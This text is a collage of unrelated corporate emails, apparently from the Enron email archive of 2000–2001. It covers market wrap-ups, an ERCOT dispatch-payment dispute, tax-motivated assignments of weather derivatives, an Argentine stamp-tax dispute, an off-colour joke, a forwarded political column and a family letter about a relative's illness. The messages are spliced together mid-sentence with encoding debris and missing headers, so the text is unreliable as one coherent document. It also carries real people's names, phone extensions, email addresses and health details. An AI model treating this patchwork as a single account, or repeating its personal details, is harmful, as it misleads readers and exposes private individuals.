statement. However, the stock market is in the process of evaluating the
situation and is assuming the worst. Williams' shares fell $5.3, to $18.78
yesterday. Its 7.75% coupon maturing in 2031 fell about $42 to $921 per
$1,000 face value from $963. That pushed the yield up to 8.48% from 8.08%.
Williams's convertible preferred stock, which was sold this month at $25,
tumbled $3.93 to $21.65 per share. Enron had $724 million in losses from
telecommunications in the 3rd quarter. Global Crossing filed for
bankruptcy protection Monday after it accumulated $12 billion in debt it
was unable to repay because of falling sales. Shares Williams
Communications fell $0.29 to $1.34 yesterday.
The TSE 300 lost 76.59 points to 7567.14
The CRB Index fell 0.56 points to 187.31
The US Dollar decreased 0.49 points to 119.38
The Dow declined 247.51 points to 9618.24
The S&P 500 dipped 32.42 points to 1100.64
The Nasdaq was down 50.92 points to 1892.99
March NYMEX Crude Oil dropped 0.47 to 19.58
Canadian-US Exchange slid 0.0221 to 1.5904
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To view past issues of Enerfax Daily -Sign up for free at  Divine's
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enerfaxtext, forward to delete@enerfax.com to unsubscribe.

The Federal Government  just  issue  Medida Provisoria no. 2227 (  it has law effects) creating a legal environment  to allow  tracking account  to cover costs included in Parcel A  (non controllable costs).  ANEEL is in charge of  to rule  all details of this recent mesure.

It  represents  a reward to our efforts.    LET's celebrate! 

Sergio Assad

Sevil,

Yes, please, go ahead. We shall pay for the trip.

Vince

10/24/2000 02:24 PM
cc:  
Subject: Electricity Summit at U.C. Berkeley

Vince,

I just received this message. What do you think? Should I register to attend 
it? 

Sevil,

---------------------- Forwarded by Sevil Yaman/Corp/Enron on 10/24/2000 
02:20 PM ---------------------------

pwpens <pwpens@socrates.Berkeley.EDU> on 10/24/2000 12:16:14 PM
cc:  

Register now to attend the

          ELECTRICITY SUMMIT AT U.C. BERKELEY, NOVEMBER 13, 2000

U.C. Berkeley's Goldman School of Public Policy, with additional support
from the U.C. Berkeley's Competition Policy Center and the U.C. Energy
Institute, will host a meeting of industry representatives, policy makers,
consumers representatives, legislators and researchers to discuss the
electricity restructuring experience and potential solutions to the
difficulties that California and other governments have encountered.  The
summit will run from 12:30-6pm with two roundtable discussions that will
include a wide variety of viewpoints.

For registration information and further details, go to
  http://gspp.berkeley.edu/events/electricity_summit_conference.htm

CANTRELL, REBECCA W             STEPHANIE W MILLER              Nov 03, 2000

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Name                                LEVEL       CHANGE      %Change
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Dow Jones Industrial Average        9,510.09    +47.19      +0.50%
S & P 500 Index                     1,102.40    +2.31       +0.21%
Nasdaq Composite Index              1,771.00    -4.47       -0.25%
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Market Summary (as of 10/26/2001 11:00 hours ET)  http://moneycentral.msn.com/articles/common/summary.asp

Bulls keep market rising
Provided by MSN Money

This time, the bulls didn't sleep in. Stocks slumped only momentarily this morning before showing into the black and seem poised to end an up-week with another positive day.
<P>
At midday, the Nasdaq sits about even but the Dow is up another 60 points and quickly closing in on its levels of Sept. 10 -- the day before the terrorist attacks that sent Wall Street and the economy into a tailspin.
<P>
If the Dow can cross 9,605, it will pass that level for the first time since the attacks.
<P>
One factor driving the rise: a good report on consumer sentiment from the University of Michigan, showing a slight uptick in the second half of October. It wasn't much, but a day after the market brushed off three bleak economic reports, it may have been enough to keep the rally going.

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This email was sent to:  kim.ward@enron.com

Thane -- Would you speak with John Forney agian and then try to reach Ken S=
aathof to reconfirm that OOMC is essentially a "be ready" instruction, rath=
er than a "be running" instruction?  John Forney said that John Adams will =
today seek guidance from his boss on this matter, and it would be good if K=
en Saathof could confirm this back to Adams.    We are seeking to get this =
quickly resolved so that ERCOT will direct an OOME dispatch, (electronicall=
y, or if need be, by an ERCOT dispatcher's phone call)  before Frontera has=
 to run its plant.  Please bring me in as necessary and keep me informed of=
 progress.  We will want to get Doug Gilbert-Smith's input on whether prepa=
rations should continue on making the RMR argument to the PUCT as to plants=
 positioned like Frontera, even if the specific issue as to Frontera is fav=
orably resolved in the next few days. --David=20

From: =09Twiggs, Thane =20
Sent:=09Thursday, November 15, 2001 9:01 AM
To:=09Nicolay, Christi L.; Yeung, Charles; Maurer, Luiz
Cc:=09Ryall, Jean; Steffes, James D.; Portz, David; Forney, John M.; Gilber=
t-smith, Doug; Day, Smith L.
Subject:=09RE: ASAP please: ERCOT Questions OOMC & OOME

Here are a few additional points: =20

I spoke with Ken Saathoff at ERCOT last week (he is the director of technic=
al operations) and he agreed that an OOMC instruction is essentially a "be =
ready" instruction and an additional OOME or another type of unit specific =
instruction is necessary for the plant to deploy. He is John Adams boss, so=
 there is a disconnect between the two levels.  In addition to Kent, I spok=
e to Mark Walker the senior corporate counsel regarding payment, or lack th=
ereof and he suggested that the only method would be to dispute the settlem=
ent statement and use that process.  Going forward however, that is not an =
effective mechanism due to the delay in payment and the necessity to prove =
your cost structure.

In speaking with Forney a few minutes ago it sounds like he may have convin=
ced John Adams, but I would be happy to call Kent Saathoff if you feel that=
 would help.

From: =09Portz, David =20
Sent:=09Wednesday, November 14, 2001 6:12 PM
To:=09Nicolay, Christi L.
Cc:=09Gilbert-smith, Doug; Baughman, Edward D.; Miller, Jeffrey; Forney, Jo=
hn M.
Subject:=09Ercot Questions OOMC & OOME

Forwarded as discussed.  Doug Gilbert Smith has asked that your group draft=
 a complaint to the PUCT regarding this misinterpretation of the Protocols =
by the ERCOT ISO, which effectively requires a generator called on for the =
OOMC ancillary service to run its plant, and sidesteps the obligation to pa=
y an OOME price component when the plant's output is utilized by ERCOT.  Th=
e OOMC compensation is currently negligible (and recovery of actual costs u=
nder Protocols Sec. 6.8.2.1(6) may take a long time), and the OOME compensa=
tion has various problems as well: (1) the more ERCOT calls on a plant for =
OOME, the the lesser the OOME price paid (Protocols Sec. 6.8.2.2 -- Heat Ra=
te value decreases), and (2) plants directed to provide, say, 135MWs of OOM=
C/OOME, are not allowed to generate above 135 MWs in an interval (thus runn=
ing the plant economically at a lower heat rate) to sell the excess in the =
marketplace. The Frontera plant, a customer of EPMI acting as QSE, is locat=
ed such that ERCOT is and will be consistently telling the plant via its QS=
E to provide OOMC -- to produce energy going north on a line in South Texas=
. Doug says we should advocate to the PUC that plants in such a position sh=
ould be Reliability Must Run ("RMR") and be paid at an adequate premium for=
 their support of the system' reliability.

I noted to you as well that this is likely to be a dispute with ERCOT over =
the interpretation of the Protocols, conducted under Protocols Section 20, =
and we would appreciate any reg. group efforts toward preparation for iinit=
iating such dispute.  Frontera has indicated they will not provide OOMC tom=
orrow even if ERCOT tells us, their QSE that it should be dispatched. Thus =
we are caught in the middle.  The legitimate bases for not complying with a=
n ERCOT dispatch instruction are stated in Protocols Section 5.4.4(2): "thr=
eat to safety, risk of bodily harm or damage to the equipment, or otherwise=
 is not in compliance with these Protocols".  Though the Protocols Sections=
 1-22 seem to recognize as to other capacity- oriented ancillary service pr=
oducts that it is 'generating capacity available but not energy delivered t=
o the grid', I have not seen this made clear as to OOMC.  The Operating Gui=
des' definition of OOMC, page 21 seems to recognize this however, and Secti=
on 2B of the ERCOT Market Guide, p. 8 (Feb 22, 2001) recognizes the distinc=
tion between capacity and generated energy clearly in support of the positi=
on stated by John Forney below.=20

Sorry for the long e-mail -- I was trying to provide a statting point for y=
our group.
From: =09Forney, John M. =20
Sent:=09Wednesday, November 14, 2001 12:27 PM
To:=09Portz, David; Gilbert-smith, Doug
Subject:=09Ercot Questions

David,
I need some help with an Ercot protocol interpretation:

Frontera has been issued  OOMC requests by the ISO on numerous occasions, s=
tarting September 14th.    This Out of Merit request is issued if no mkt bi=
ds exist to solve congestion, whether local or zonal.
The OOMC, as I understand it,  reserves capacity for Ercot and the premium =
is predetermined based on a formula mentioned in the protocols.   The formu=
la is based on the replacement reserve clearing price,  which currently is =
zero.   This is because the replacement reserve market is non-existent.  An=
 announcement on how the OOMC capacity payments will be calculated is due o=
ut this week,  per Mark Patterson.

The second component of this option is OOME.    This is a request for actua=
l energy related to the OOMC option.   The strike price is calculated from =
a preset heat rate multiplied by the HSC daily price, as mentioned in the p=
rotocols.  So the OOMC/OOME ws designed to work like the ancillary services=
 with a capacity award and an energy component.  I think that this is the s=
pirit of the OOM's, as mentioned in Section 6 of the Protocols.

  =20
Here is the problem:
the head of Ercot Market Operations,  John Adams,  interprets the protocols=
 to mean that OOMC requries the plant to be generating.     When Ercot disp=
atchers had issued an OOMC,  they quickly followed up to ask us why we were=
 not generating into the grid.
We explained to them, on numerous occasions,  that we dont believe OOMC mea=
ns run.   If they wanted us to run,  then they would need to issue an OOME =
for the actual energy component.    I asked my employees to clarify with Er=
cot whether we were being asked to run,  yes or no.    When instructed to r=
un by Ercot,  we had to assume that we were settled based upon the OOME cal=
c, as we were previously under OOMC orders.

I sent at least three e-mails to my Ercot rep,  Mark Patterson regarding th=
is issue.   I finally caught him by phone and he relayed that he thought Er=
cot's  intrepretation was correct.    For all of the times that we ran,  at=
 their request,  we werent going to be paid based on the OOME heat rate cal=
c,  rather we were going to receive the balancing energy price ( a penalty =
for Resource Imbalance).   For example,  in the early morning hours we woul=
d receive as little as $1 for electricity that cost $27 to generate.   Mark=
 also mentioned that when they said run,  they expected us to sell to someo=
ne else,  or just generate into the imbalance.    Mark told me "dont worry,=
  you can file to receive your generation expenses in the event that you lo=
st money."

Here is my view:
OOMC does not mean run.  It means have the capacity available in the event =
Ercot calls,  much like replacement,  responsive reserve and non-spinning.
Ercot's interpretation is being decided by the Manager of Mkt Operations,  =
a group supposedly unconcerned with price.
If OOMC means to run,  then why would the protocols contemplate, or need OO=
ME?  They would never have to pay OOME if we were already running into the =
imbalance.
OOMC is an option and the exercise is OOME.   This is basically the disagre=
ement.    This could very well be a $500,000 issue for Frontera.
Why would anyone generate for $27 and dump to the imbalance mkt at $5 in ho=
pes of filing for a "breakeven."   Ridiculous.

I spoke with Bill Kettlewell with Customer Relations and he had "no comment=
" on whether OOMC means to generate.  Mark Patterson now also has "no comme=
nt."
Bill and Mark said that we needed to file a dispute in order to receive clo=
sure on the OOM capacity payment.   I suspect that we will follow this same=
 path when we file for OOME reimbursement vs.  the imbalance price we will =
receive.

I had instructed my employeess to refuse to turn on the plant   (in respons=
e to an OOMC) until we receive an OOME instruction.   This has compelled  E=
rcot to deploy an OOME request to us, because they need  to have us online =
to control local congestion.   Would this not be an omission that their vie=
w was incorrect?  Section 5.4.4 says that a QSE may fail to comply with an =
Ercot directive if it causes a safety concern, or ,  Ercot is not in compli=
ance with the Protocols.  The latter is in effect.
Ercot is now telling us that they cannot instruct us, or give us an OOME de=
ployment,  unless we are already runnnig.    I think that this is a softwar=
e issue, not a protocol issue.  =20
We worked out an interim compromise with Ercot until this issue can be sett=
led.  Once we have been OOMC'd,  we will start to gen.   Once we reach full=
 load,  we will request an OOME.   If they dont comply,  we will shut down =
the unit.    Ercot said that " it was entirely reasonable that we would  re=
quest to be compensated in the form of an OOME."
The Ercot dispatchers are complaining that OOME requires them to send an in=
struction every 15 minutes.   Is this why we are not getting the OOME instr=
uction on a regular basis?

Finally,  I stressed to Ercot that I wasnt trying to manipulate prices, via=
 OOME or force Ercot into a corner.    It just is not the right economic en=
vironment to generate for $27 and sell for $5.    Further,  operations pers=
onell at Ercot have frelayed their displeasure with me for "forcing them to=
 OOME our plant."

Can I get an opinion on whether OOMC means to run?   If you agree with me, =
 what is our next step?  I need to move aggressively on this issue.

Thanks,

JForney
37160

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---------------------- Forwarded by Darron C Giron/HOU/ECT on 04/20/2001 
From: Veronica Espinoza/ENRON@enronXgate on 04/20/2001 10:13 AM
cc:  
Subject: Credit Report--4/20/01

686-6808.

 - ed042501.pdf
 - ed042501.xls

Hi, Sally...

Wanted to apologize for the way I probably sounded on the phone--lots was
going on here and you caught me at a brain-overload moment!

Thanks for sending the Enron article--thought it was great--brought it in to
the office to show you off here...

Pictures of the girls were much appreciated--can't really believe how old
they look.  Brigeda's has taken possession of them and put them on her
bulletin board--although she wanted BIGGER ones like Grandmom--told her
Grandmoms always got bigger ones....Brigeda gets her picture taken next week
and will send you one--last year's was so dorky we didn't circulate them
much...

Dad actually seemed better yesterday.  He was making jokes and his voice was
a little stronger--he's on pain medication for his tongue--I think giving
him something to make him relax really does help--he wasn't loopy just not
quite so tense.   He seemed very "up" for the dr's appt in Houston.  I told
him you asked Fabe for the best ENT in Houston and that this guy was in your
church and did Meagan's tonsils.  He liked all of that information a
lot...thanks again for arranging this.  Mom and I decided if anyone could
get him to a doctor on short notice you would be able to do it--now the
pressure is on!

Hope you have a great weekend--Brigeda and I are looking forward to see you
guys next weekend.

Cindy

I will attend.

	Lola Willis @ ENRON
	10/27/2000 02:55 PM
	
To: Tana Jones/HOU/ECT@ECT, Tom Moran/HOU/ECT@ECT, Bradley 
Diebner/HOU/ECT@ECT, Karen Lambert/HOU/ECT@ECT
cc: Lisa Lees/HOU/ECT@ECT, Frank L Davis/HOU/ECT@ECT 
Subject: Profile Manager

You have been invited to a  meeting RE: Profile Manager

Date:                                          10/31/00

Time                                           11:00

Location                                      EB 2601

Southern Company Energy Marketing LP changed their name to Mirant Americas 
Energy Marketing, LP.  This record will be overlayed in GCP in the next few 
days.

PLEASE APPROVE HIM FOR THIS.  PHILLIP WILL NOT BE ABLE TO GET INTO HIS EMAIL 
SYSTEM TO DO THIS.
IF YOU HAVE ANY QUESTIONS, OR PROBLEMS, PLEASE CALL ME AT  X3-7257.

THANK YOU.

INA.

IF THIS IS A PROBLEM TO DO IT THIS WAY PLEASE CALL ME AND I WILL WALK PHILLIP 
THROUGH THE STEPS TO APPROVE.  IF YOU CALL HIM, HE WILL DIRECT IT TO ME 
ANYWAY.

ARSystem@mailman.enron.com on 12/18/2000 07:07:04 PM
To: phillip.k.allen@enron.com
cc:  
Subject: Your Approval is Overdue: Access Request for barry.tycholiz@enron.com

This request has been pending your approval for  5 days.  Please click 
http://itcapps.corp.enron.com/srrs/auth/emailLink.asp?ID=000000000009659&Page=

Request ID          : 000000000009659
Request Create Date : 12/8/00 8:23:47 AM
Requested For       : barry.tycholiz@enron.com

> A Mother had 3 virgin daughters and they were all getting married
> within
> a short time period. Because Mom was a bit worried about how their sex
> 
> life would get started, she made them all promise to send a postcard
> from the honeymoon with a few words on how marital sex felt. The first
> 
> girl sent a card from Hawaii two days after the wedding.
> 
> The card said nothing but "Nescafe." Mom was puzzled at first, but
> then
> went to the kitchen and got out the Nescafe jar. It said: "Good till
> the
> last drop." Mom blushed, but was pleased for her daughter.
> 
> The second girl sent the card from Vermont a week after the wedding,
> and
> the card read: "Benson & Hedges". Mom now knew to go straight to her
> husband's cigarettes, and she read from the Benson & Hedges pack:
> "Extra
> Long. King Size. She was again slightly embarrassed but still happy
> for
> her daughter.
> 
> The third girl left for her honeymoon in the Caribbean. Mom waited for
> a
> week, nothing. Another week went by and still nothing. Then after a
> whole month, a card finally arrived. Written on it with shaky
> handwriting were the words "British Airways." Mom took out her latest
> Harper's Bazaar magazine, flipped through the pages fearing the worst,
> 
> and finally found the ad for BA. The ad said: "Three times a day,
> seven
> days a week, both ways."
> 
> Mom fainted...

Mary:
I am waiting for David Forester to approve the language that Mark and I came 
up with.

EB 3892

	Mary Griff Gray
	05/12/2000 07:26 AM
		
		 cc: 
		 Subject: Re: EnronOnline ETA question

Hey, Carol -- it's your #1 pest again -- what's the status of this Duke 
Energy Corp. termination deal?

Thanks, Carol, and have a great weekend.
Griff

   Carol St Clair                05/10/2000 11:30 AM

To: Mary Griff Gray/HOU/ECT@ECT
cc: Matthew Goering/HOU/ECT@ECT 
Subject: Re: EnronOnline ETA question  

Mary:
I have left a message with John that I have received approval from Dave to 
give them a bilateral termination right.  I will send them the language 
shortly.
Carol

	05/10/2000 09:28 AM
		 
		 cc: 
		 Subject: EnronOnline ETA question

Carol --

In talking to this customer, he said that he has not heard from anyone at 
Enron regarding this question.  Could you update me on this request?

Thanks,
Griff
x3-5753
---------------------- Forwarded by Mary Griff Gray/HOU/ECT on 05/10/2000 
   
From:  Mary Griff Gray                                                        
     05/05/2000 08:00 AM	
	
To: Carol St Clair/HOU/ECT@ECT
cc:  
Subject: EnronOnline ETA question

Carol --

John Puett, Duke Energy Corporation, wonders if Duke Energy can discontinue 
contract as stated in 6.a, which states that EnronOnline can terminate 
contract.  
Will you please call John (704-382-4061) regardng this question?

Thanks, Carol, and have a wonderful weekend.
Mary "Griff" Gray

At this point, I think they should be a subscriber member, since trading of 
paper is an emerging market.

Mark

In my view an assignment is the common legal method for accomplishing a sal=
e and purchase of a derivative transaction.  If they want to use sale termi=
nology that is fine but the assignment language should also be there.=20

From: =09Hendry, Brent =20
Sent:=09Wednesday, November 21, 2001 9:11 AM
To:=09Taylor, Mark E (Legal)
Subject:=09FW: Chiricahua Assignments

Do you have a problem with the recharacterization as a purchase?

From: =09Wells, Bret =20
Sent:=09Wednesday, November 21, 2001 8:34 AM
To:=09Hendry, Brent
Cc:=09Douglas, Stephen H.

Brent,

Please review the attached suggested changes to the assignment agreement.  =
I have made changes to only one of the agreements, but I assume that any ch=
anges designated below will be made to both agreements.  Broadly speaking, =
my changes are designed to accomplish the following:

1.=09We want to characterize the Chricicahua LLCs as "Purchasers" to the ex=
tent possible and not an assignor.  Much of the redefined terms seek to acc=
omplish that objective.
2.=09The stated intent of Chircahua is to "invest" in the Transactions.  Th=
is language tries to bolster our argument that Chiricahua is wanting to inv=
est in the weather derivatives market but in so doing it is not acting as a=
 market maker with customers in these instruments.

I have no changes to the Master Agreement and expect that we want to minimi=
ze any changes to the extent possible.  I am happy, however, that we are tr=
ying to execute separate masters and not simply amend ENA's existing master=
.

Bret Wells
Sent:=09Tuesday, November 20, 2001 6:43 PM
To:=09Douglas, Stephen H.; Wells, Bret; 'jlynch@velaw.com'; Rohauer, Tanya;=
 Del vecchio, Peter; Korkmas, Deb; Bell, Rebecca; Abrams, Clement; Tawney, =
Mark
Cc:=09St. Clair, Carol; 'bhendry@houston.rr.com'; Taylor, Mark E (Legal)
Subject:=09Chiricahua Assignments

I was informed by Steve Douglas this morning that for tax reasons we need t=
o assign a number of weather transactions ENA entered into with XL Trading =
Partners Ltd. from ENA to Chiricahua III LLC and Chiricahua V LLC.  These t=
wo entities are ultimately wholly owned subsidiaries of ENA.  It is intende=
d that these entities will also enter into a few weather transactions direc=
tly with XL Trading Partners Ltd.  All of these transactions must have a te=
rm that ends no later than midnight December 31 2001. My understanding is t=
hat some time after these transactions are assigned or entered into the Chi=
ricahua entities will be liquidated sometime during the month of December a=
nd the weather transactions will be transferred to the parent entity which =
will subsequently be liquidated and moved to its parent and so on until the=
 transactions end up at ENA.  I would ask Bret or Steve to clarify the proc=
ess to the extent that I have left anything out or misstated the proposal i=
n broad terms.  If anyone needs a detailed explanation of the process pleas=
e call Bret at ext. 54390.

I would ask that everyone review the attached documentation in light of the=
 proposal above to give their views from a credit, Dynegy merger agreement,=
 legal, operational, commercial, corporate governance, and guarantor perspe=
ctive.

I am proposing the following draft documents for the assignment of the ENA =
trades to Chiricahua III and V entities. =20

 << File: ChiricahauIIIAssignment11-19-01.doc >>=20

I am proposing the following blacklined draft master agreements to be enter=
ed into between Chiricahua III and V and XL Trading Partners Inc.  These ar=
e based on the executed ENA/XL Trading master.  Please note that Chiricahua=
 and XL Trading would be providing parent guaranties in the form previously=
 agreed upon by ENA and XL Trading.  Deb, please note the documents to be d=
elivered section for the Chiricahua entities.  Will we need some new resolu=
tions passed?

I am attaching final drafts of the confirmations that were entered into bet=
ween the parties.  The first six will be assigned to Chiricahua III and the=
 second six will be assigned to Chiricahua V.  Rebecca, please note that I =
will need copies of the executed confirmations for these transactions or th=
e document that we sent to XL Trading if they have not yet signed the docum=
ent by tomorrow midday if at all possible so I can attach them as exhibits.

Chiricahua III

Chiricahua V

Please let me know if you have any questions or comments on the documentati=
on.  If you have any comments or questions relating to the tax purpose or p=
rocess of this series of transactions please call Bret Well at ext. 54390.

Regards,
Brent

Sent:	Thursday, April 19, 2001 12:06 PM
To:	Brant Reves/HOU/ECT@ENRON; Jason Williams/HOU/ECT@ENRON
Cc:	Lagrasta, Fred; Breslau, Craig
Subject:	Frontier Oil Corporation Credit Line

	I understand that the policy is to call a customer for a line of credit when it is warranted.  I would request that we review Frontier's Credit line and I believe that we should be able to increase this line significantly.  US refining margins are at record highs, US refinery earnings are at record highs (See Valero's, Tosco's), and Frontier is a very significant and loyal Enron customer.   They are releasing 1st Quarter earnings on the 27th of this month and should be in-line with the earnings of the other independent refiners.  Could you please review this status and issue a new credit line, so we can continue to build both Gas and Global Markets business with this customer.   Thanks

Mark

Here is Lost Creek w/ revisions.  

Did you see Peggy Noonan's article?  Shapiro and I are getting misty eyed.
---------------------- Forwarded by Steven J Kean/HOU/EES on 08/08/2000 12:53 

"Painter, Sally" 
<SPainter@fontheiminternational.com>@fontheiminternational.com> on 08/08/2000 
10:45:04 AM
Sent by: "Russell, Rhonda" <RRussell@fontheiminternational.com>
To: "'Adhoc Advisors'" <Rhonda_Roo_00@yahoo.com>
cc:  
Subject: More great press!

> Great Press on Lieberman.  See below.
>
>
> http://opinionjournal.com/columnists/pnoonan/
> A 1960 Moment
> Al Gore's selection of Joe Lieberman gives Democrats--and everyone
> else--something to cheer about.
> BY PEGGY NOONAN
> Monday August 7, 2000 4:26 p.m. EDT
> The choice of Joe Lieberman of Connecticut as Al Gore's running mate is so
> smart, so clever, so good, so satisfying, so striking that it just may
> turn
> this election a bit on its head for a while. Certainly its most immediate
> effect is going to be a successful Democratic convention next week in Los
> Angeles, because now the Democrats, badly hit by their own form of Clinton
> fatigue and acutely aware of the particular charmlessness of their
> presidential candidate, have something to cheer about. They respect Joe
> Lieberman. They think he has a center, a moral and ethical view of the
> world. He is experienced and articulate. He is decent and intelligent. He
> is
> independent. The media love him. He is a regular co-star on Imus, and all
> of
> the columnists and reporters for the elite newspapers, and all of the
> electronic pundits and anchors, know him and admire him.
> But that is not what is most wonderful. What is most wonderful is that he
> is
> an Orthodox Jew. What does this mean? It means a lot of people who love
> America more than they love parties or politics are happy that a big and
> great breakthrough has occurred. A friend, a journalist who is politically
> conservative and Jewish, e-mailed me to tell me he had been weeping all
> morning, that he'd cried when he heard the news. Another friend, a
> producer at a TV news show, called and told me she woke her father in
> California to give him the news and they both got choked up. "This is like
> 1960," she said, and I said I know, and I got choked up. It is wonderful
> when America is at her most American, and breaks down another barrier and
> says "What's in your heart is most important."
> If Joe Lieberman had been Joe Lee, and an Episcopalian, Al Gore would have
> been smart to pick him. He would have been an obvious choice. The only
> reason he would have hesitated over Mr. Lieberman is that he's Jewish. Mr.
> Gore decided that was just fine. I think that I have never seen Al Gore do
> such an elegant, intelligent and original thing. Well done, Mr. Gore.
> I have to tell you, this really does feel like a 1960 moment to me. I was
> a
> little girl when a Catholic got chosen to run for president, and I had
> gathered from the conversation of grownups that You Don't Elect Catholics
> to the Presidency. When it happened, it's hard to describe how exciting
> and
> moving and idealism-inspiring it was. It gave a lot of people a lot of
> joy.
> It opened things up more. That was a good thing. So is this.
> And because this is such a good thing, I hope everyone of whatever
> politics
> or persuasion sits back for a few days and feels good about it. Everyone
> should be nice and not do any political bashing until . . . Friday.
> However, I think it's okay and maybe even helpful to note the following.
> Network producers are going to decide, in their bright and touchingly
> uninformed minds, that the big opponents of the Lieberman choice will be
> Christian conservatives. That's where they'll go for the negative sound
> bites. But Christian conservatives love Joe Lieberman. They've been arm in
> arm with him in the great cultural battles of the past decade. He was just
> about the only Democrat who'd give them the time of day. He was on their
> side.
> The last time I saw Mr. Lieberman was last spring, in New York, at a
> symposium on Hollywood and the culture. I moderated and introduced our
> guests--Joe Lieberman and Bill Bennett, who are close friends and
> co-warriors in the values battle. Lieberman and Bennett very frankly
> talked
> to the audience of producers and writers and network people and movie
> stars about how to make television and film and music more decent, more
> helpful.
> This is how people on the right think of and have experienced Mr.
> Lieberman--as a good guy with his head screwed on right.
> Many conservative Christians--I think most conservative Christians--see
> all
> of those who love God as part of the same "cultural minority."
> Conservative
> Christians don't feel they have much in common, in terms of their
> political
> desires, with atheists and agnostics and leftist Episcopalian bishops and
> such. But they think they have a great deal in common with Orthodox Jews.
> They crowd around Rabbi Daniel Lapin when he speaks at a conservative
> gathering; they crowd around Dennis Prager, Michael Medved, David Horowitz
> and scores of others. One of the biggest heroes of conservative Christians
> is an Orthodox Jew called Dr. Laura; the last time I saw her she was
> wowing them at a born-again Christian assembly at the National Prayer
> Breakfast last February.
> A powerful and respected political officeholder told me Monday that
> there's
> "no upside" to the Lieberman choice. I told him there's no downside. He
> was surprised and said, "He can't even campaign on Saturdays!" I said so
> what, America would love to see a politician who actually put God first
> one day a week.
> I wish I'd added this: Remember Sandy Koufax? Joe Lieberman not
> campaigning on Saturday is Sandy Koufax not pitching on Yom Kippur. There
> were a lot of great sports moments in the 1950s and 1960s, but none
> greater than the day in 1965 when Mr. Koufax put God before the World
> Series. What a great guy, what a lesson for a generation of Christian and
> Jewish kids. And Muslims and everyone else too.
> Yes, it's good news for Hillary. It's great news for Hillary. It enlivens
> part of her New York base, it says to New York Jews that the Democrats are
> the party that did this great thing, it excites people--and may help them
> forget, or at least not remember so vividly, that the Democratic
> senatorial
> candidate has, shall we say, a not fully satisfying relationship with New
> York's Jews. A historic choice like the Mr. Lieberman can overwhelm a lot
> of
> previous bad static.
> But let's not care about that for now. The headline is not "Is It Good for
> Hillary?" The headline is: "It Is Good for America." It is a wonderful
> country that does something like this, that takes a good man who is a
> member of a small ethnic/religious minority to be one of its two major
> vice
> presidential candidates, and that greets that choice with resounding
> hurrahs.
> This is really a great day. We should all be happy. We really are a
> maturing
> democracy.

Santa Clara District Energy Facility, L.L.C. changed its name to Roseville 
Energy Facility, L.L.C. on November 21, 2000. 

 Matt Maxwell - copy of evidence being sent by interoffice mail
 Lanette Earnest - tax
 Sylvia Hu - Minute Book and two seals have been ordered

EB4804A

FYI- Terry is trying, at least with me.
---------------------- Forwarded by Richard Shapiro/HOU/EES on 02/10/2000 
06:04 AM ---------------------------

Terence H Thorn@ENRON_DEVELOPMENT
02/10/2000 12:17 AM
To: Richard Shapiro@EES
cc:  
Subject: Stamp Tax Dispute

We used the BIT threat once before when they tried to re-trade TGS's rates in 
violation of the sales agreement. George Wasaff  can give you all of the 
details. This time we may have to go all of the way and litigate.  Tax issues 
in Argentina have also killed trading.  The problem is that the constitution 
empowers the states with all kinds of taxing authority so if you want changes 
in policies you have to have a constitutional amendment.  You can imagine the 
eagerness of politicians to take on that battle.

I will be setting up some quality time with you the week of the 21st.  Again, 
congratulations. This is an exciting and complex part of the world and I 
can't think of anyone better to bring some focusand results here.
---------------------- Forwarded by Terence H Thorn/ENRON_DEVELOPMENT on 
02/10/2000 12:10 AM ---------------------------

Robert C Williams
02/09/2000 02:44 PM
To: Terence H Thorn/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
cc: Michelle Blaine/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Laurie 
Lee/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT 

Terry, here is the summary of the dispute.  Let me know if you would like any 
additional information, or if would would like me to put this into memo 
form.  

Argentine law imposes a stamp tax on written contracts.  In the past several 
years, the provincial governments of several of the provinces have, in an 
effort to raise desperately needed revenues, adopted a new and broader 
interpretation of the tax's application.  These provinces--Rio Negro, 
Neuquen, and Santa Cruz--have sought to apply this interpretation 
retroactively, resulting in the imposition of staggering assessments.  For 
TGS, the Enron company (40% owned) most affected, the assessments total $153 
million in taxes, $172 million in interest, and $208 million in fines.  (See 
attached chart for breakdown).

To date, court challenges to the taxes have been unsuccessful.  TGS has 
pending before the Argentine federal Supreme Court an application to declare 
the taxes unconstitutional and unlawful, but the Court has, as yet, not 
acted.  Meanwhile, the provinces are free to attempt to collect the taxes, by 
levy if necessary.  

The federal government has, in documents filed in another case, expressed the 
view that the imposition of stamp taxes in the manner folowed by the 
provinces is illegal.  Energas has also expressed its view that the taxes are 
illegal.  The federal Supreme Court, however, has recently denied an 
application (filed by another company) to enjoin collection of the taxes.
   
On November 23, 1999, Enron notified the federal government that it regarded 
the imposition of these taxes as in violation of the Bilateral Investment 
Treaty between Argentina and the U.S.  Since that notification, 
representatives of Enron and the government have held several meetings.  
Substantive discussions, however, have not yet begun.  The Treaty mandates a 
six-month cooling off period before arbitration can be initiated.  If the 
negotiations with the government are unsuccessful, Enron intends to file an 
arbitration with the International Center for the Settlement of Investment 
Disputes (ICSID) in Washington, D.C.  By way of information, Endesa currently 
has an arbitration underway at ICSID challenging the taxes, presumably under 
a BIT between Spain or Chile and Argentina.

I have a very important video announcement about the future of our company.  Please go to <http://home.enron.com/message/> to access the video.  Thank you.

From: 	Patrick, Christie  
Sent:	Wednesday, September 12, 2001 2:46 PM
To:	Derecskey, Cindy
Subject:	FW: Wake up call

    This is from a Canadian newspaper and IS worth sharing.......

Widespread but only partial news coverage was given recently to a
remarkable editorial broadcast from Toronto by Gordon Sinclair, a Canadian
television commentator. What follows is the full text of his broadcast.

"This Canadian thinks it is time to speak up for the Americans as the
most generous and possibly the least appreciated people on all the earth.
Germany, Japan and, to a lesser extent, Britain and Italy were lifted out of the
debris of war by the Americans who poured in billions of dollars and
forgave other billions in debts. None of these countries is today paying even
the interest on its remaining debts to the United States.

When France was in danger of collapsing in 1956, it was the Americans
who propped it up, and their reward was to be insulted and swindled on the
streets of Paris. I was there. I saw it.

When earthquakes hit distant cities, it is the United States that
hurries in to help. This spring, 59 American communities were flattened by
tornadoes. Nobody helped.

The Marshall Plan and the Truman Policy pumped billions of dollars into
discouraged countries. Now newspapers in those countries are writing
about the decadent, warmongering Americans.

I'd like to see just one of those countries that is gloating over the
erosion of the United States dollar build its own airplane. Does any
other country in the world have a plane to equal the Boeing Jumbo Jet, the
Lockheed Tri-Star, or the Douglas DC10? If so, why don't they fly them?
Why do all the International lines except Russia fly American Planes?

Why does no other land on earth even consider putting a man or woman on
the moon? You talk about Japanese technocracy, and you get radios. You talk
